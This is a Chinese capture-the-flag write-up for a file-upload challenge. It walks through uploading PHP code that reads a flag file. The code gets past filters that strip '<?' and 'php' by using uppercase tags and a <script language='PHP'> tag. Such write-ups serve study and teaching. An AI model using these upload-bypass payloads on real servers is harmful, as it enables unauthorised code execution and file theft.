CTF || [“百度杯”CTF比赛 九月场]Upload

2018-06-22  本文已影响0人  mirrorr

题目内容:想怎么传就怎么传,就是这么任性。tips:flag在flag.php中

文件上传漏洞

尝试上传一个pdf文件,页面显示上传成功。查看网页源代码:
<a href="u/2014WR016803.pdf">上传成功!</a>
可以看到上传的文件在u目录中,需返回上一级目录../flag.php

尝试上传一个php文件读取flag。php文件参考http://www.w3school.com.cn/php/php_file_open.asp

<?php
$myfile = fopen("../flag.php", "r") or die("Unable to open file!");
echo fread($myfile,filesize("../flag.php"));
fclose($myfile);
?>

上传后显示上传成功,注意php文件命名不能包含<?,否则不会被上传,不显示上传成功。
打开上传的文件
$myfile = fopen("../flag.", "r") or die("Unable to open file!"); echo fread($myfile,filesize("../flag.")); fclose($myfile); ?>
过滤了文件开头的<?php和flag.php中的php

尝试用大写绕过
上传

<?PHP
$myfile = fopen("../flag.".strtolower("PHP"), "r") or die("Unable to open file!");//strtolower将大写PHP变为小写php
echo fread($myfile,filesize("../flag.".strtolower("PHP")));
fclose($myfile);
?>

打开上传的文件
PHP $myfile = fopen("../flag.".strtolower("PHP"), "r") or die("Unable to open file!"); echo fread($myfile,filesize("../flag.".strtolower("PHP"))); fclose($myfile); ?>
过滤了<?,但是没有过滤PHP

尝试用<script language="PHP">绕过
上传

<script language="PHP">
$myfile = fopen("../flag.".strtolower("PHP"), "r") or die("Unable to open file!");
echo fread($myfile,filesize("../flag.".strtolower("PHP")));
fclose($myfile);
</script>

打开上传的文件,然后查看网页源代码,得到flag

参考
https://www.ichunqiu.com/writeup/detail/925
https://www.ichunqiu.com/writeup/detail/1185
https://www.ichunqiu.com/writeup/detail/723

上一篇下一篇

猜你喜欢

热点阅读